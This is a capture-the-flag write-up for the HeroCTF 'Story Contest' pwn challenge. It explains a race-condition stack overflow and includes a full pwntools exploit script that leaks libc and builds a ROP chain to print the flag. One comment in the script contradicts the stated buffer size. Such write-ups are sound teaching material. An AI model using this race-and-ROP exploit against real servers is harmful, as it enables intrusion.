← Back to list

HeroCTF Write-Up: Story Contest (Pwn)

Category: Pwn

Rahmat Hadinata · 2025-12-01 00:52 · 0 claps · 3.2 min read
#ctf #heroctf #solve #pwn
Open on Medium ↗

HeroCTF Write-Up: Story Contest (Pwn)

Category: Pwn

Difficulty: Medium

Technique: Race Condition (TOCTOU), Stack Buffer Overflow, ROP (Ret2Libc & Logic Bug)

1. Overview & Reconnaissance

Tantangan ini memberikan dua file: binary storycontest dan library libc.so.6 . Binary ini merupakan server multi-thread yang memungkinkan pengguna mengirimkan “cerita” (text story).

Security Check Langkah pertama adalah memeriksa mitigasi keamanan binary:

$ checksec — file=storycontest

Arch:md64–64-little

RELRO: Partial RELRO

Stack: No canary found -> Vuln

NX: NX Enabled

PIE: No PIE -> NICE (Static Address)

2. Vulnerability Analysis

Setelah melakukan reverse engineering dengan radare2 / ghidra pada fungsi sym.submit_story , ditemukan logika berikut:

  1. User diminta memasukkan panjang cerita ( length )
  2. Program memvalidasi: if (length > 128) error();
  3. Jika valid, program menyimpan panjang tersebut ke dalam Global Variable ( obj.g_story_len ).
  4. Program melakukan usleep(500000) (Tidur selama 0.5 detik).
  5. Program membaca input cerita sebesar obj.g_story_len ke dalam buffer stack lokal.

The Bug: Race Condition (TOCTOU)

Masalah utamanya adalah penggunaan Global Variable pada server Multi-thread ditambah dengan jeda usleep.

  • Time-of-Check: Validasi size dilakukan di awal.
  • Time-of-Use: Pembacaan input ( read ) dilakukan setelah tidur 0.5 detik

Skenario Serangan:

  1. Thread A (Korban): Mengirim size valid ( 50 ). Program menyimpan 50 ke global variable, lalu Sleep
  2. Thread B (Penyerang): Saat Thread A Sleep, Thread B mengirim size besar ( 500 ). Program menimpa global variable menjadi 500 .
  3. Thread A (Bangun): Melanjutkan eksekusi read() . Namun, ia membaca global variable yang sekarang bernilai 500
  4. Overflow: read(500) dipanggil ke buffer yang hanya berukuran 128 bytes. Terjadilah Stack Buffer Overflow.

3. Exploitation Strategy

Awalnya saya mencoba melakukan ROP chain standard untuk mendapatkan shell ( system(“/bin/sh”) atau One Gadget). Namun, server sepertinya menggunakan seccomp atau filter yang mematikan koneksi (EOF) saat syscall execve dipanggil. Melihat deskripsi soal “maybe you’ll be rewarded accordingly”, saya menganalisis ulang binary dan menemukan fungsi menarik

The Hidden Feature: sym.bonus_entry

0x00401608 cmp qword [arg1], 0x1337c0de

0x00401612 mov dword [obj.bonus_enabled], 1

Fungsi ini tidak dipanggil di menu manapun. Jika kita memanggilnya dengan argumen 0x1337c0de , variable bonus_enabled menjadi aktif

Selanjutnya ada fungsi sym.show_public_results . Jika bonus aktif, fungsi ini akan mencetak flag ke user!

Final Plan (Ret2Win):

Leak Libc: Kita butuh gadget pop rdi untuk mengisi argumen fungsi bonus. Gadget ini tidak ada di binary, jadi kita harus leak Libc.

  • Gunakan bug Race Condition untuk lompat ke sym.gift
  • sym.gift menyalin alamat stdout ke global variable.
  • Baca global variable lewat menu 3) Show jury info

Activate Bonus

  • Race Condition lagi -> ROP Chain.
  • Panggil sym.bonus_entry(0x1337c0de)

Get Flag

  • Lanjut di ROP Chain yang sama.
  • Panggil sym.show_public_results(FD) .
  • Karena kita tidak tahu File Descriptor (FD) socket kita (biasanya 3, 4, atau 5), kita panggil fungsi ini 3 kali berturut-turut ( FD=3, FD=4, FD=5 ).
  1. Full Exploit Script
from pwn import *
import time

# --- CONFIG ---
host = "dyn12.heroctf.fr" 
port = 10180

exe = ELF("./storycontest")
libc = ELF("./libc.so.6")

context.binary = exe
context.log_level = 'info'

def conn():
    return remote(host, port)

# Helper untuk koneksi cepat (Pre-Connect)
# Mengurangi latensi saat Race Condition
def prepare_connection():
    r = conn()
    r.sendlineafter(b"> ", b"1") 
    return r

def solve():
    libc.address = 0

    # === PHASE 1: LEAK LIBC ===
    log.info("Phase 1: Leaking Libc...")

    # Loop retry jika timing race condition meleset
    while libc.address == 0:
        try:
            r1 = prepare_connection() # Thread Victim
            r2 = prepare_connection() # Thread Attacker

            # Race Condition Trigger
            r1.sendline(b"50")      # Set valid size
            time.sleep(0.1)         # Critical Timing
            r2.sendline(b"500")     # Overwrite global size
            r2.close()

            # Payload Leak: Jump ke sym.gift
            # Padding 168 = 160 Buffer + 8 Saved RBP
            padding = b"A" * 168
            RET_GADGET = 0x0040101a # Stack Alignment

            payload_leak = padding + p64(RET_GADGET) + p64(exe.sym['gift'])

            r1.recvuntil(b"story:")
            r1.send(payload_leak)

            time.sleep(0.5)
            r1.close()

            # Baca Leak via Menu 3
            r3 = conn()
            r3.sendlineafter(b"> ", b"3")
            response = r3.recvall(timeout=3)
            r3.close()

            if b"Jury gift: " in response:
                start_idx = response.find(b"Jury gift: ") + 11
                leak = int(response[start_idx:].split(b"\n")[0], 16)
                libc.address = leak - libc.sym['_IO_2_1_stdout_']
                log.success(f"Libc Base: {hex(libc.address)}")
                break
        except Exception:
            pass

    # === PHASE 2: CLAIM REWARD (INTENDED SOLUTION) ===
    log.info("Phase 2: Activating Bonus & Claiming Reward...")

    try:
        r4 = prepare_connection()
        r5 = prepare_connection()

        # Race Condition lagi untuk RCE
        r4.sendline(b"50")
        time.sleep(0.1)
        r5.sendline(b"500")
        r5.close()

        # --- ROP CHAIN LOGIC ---
        rop = ROP(libc)

        # 1. ENABLE BONUS: sym.bonus_entry(0x1337c0de)
        MAGIC_VAL = 0x1337c0de
        rop.call(exe.sym['bonus_entry'], [MAGIC_VAL])

        # 2. SHOW RESULT: Bruteforce FD (3, 4, 5)
        # Salah satu pasti socket kita
        rop.call(exe.sym['show_public_results'], [3])
        rop.call(exe.sym['show_public_results'], [4])
        rop.call(exe.sym['show_public_results'], [5])

        # Rakit Payload
        padding = b"A" * 168
        payload = padding 
        payload += p64(RET_GADGET) # Alignment Fix
        payload += rop.chain()

        r4.recvuntil(b"story:")
        r4.send(payload)

        log.success("Payload Sent! Waiting for Flag...")

        # Baca Output
        print(r4.recvall(timeout=5).decode(errors='ignore'))

    except Exception as e:
        log.error(f"Error: {e}")

if __name__ == "__main__":
    solve()

FLAG FOUND!!!!!!

[*] Payload Sent! Waiting for Flag...
[+] The jury announces the winner! Flag: Hero{971e70feb761e8daf0abcb7eb7376bff2}

메타데이터
post_id
3a42edd088f8
slug
heroctf-write-up-story-contest-pwn-3a42edd088f8
url
https://medium.com/@rsafei731/heroctf-write-up-story-contest-pwn-3a42edd088f8
canonical_url
https://medium.com/@rsafei731/heroctf-write-up-story-contest-pwn-3a42edd088f8
author_url
https://medium.com/@rsafei731
status
ok
fetched_at
2026-06-14 16:15:44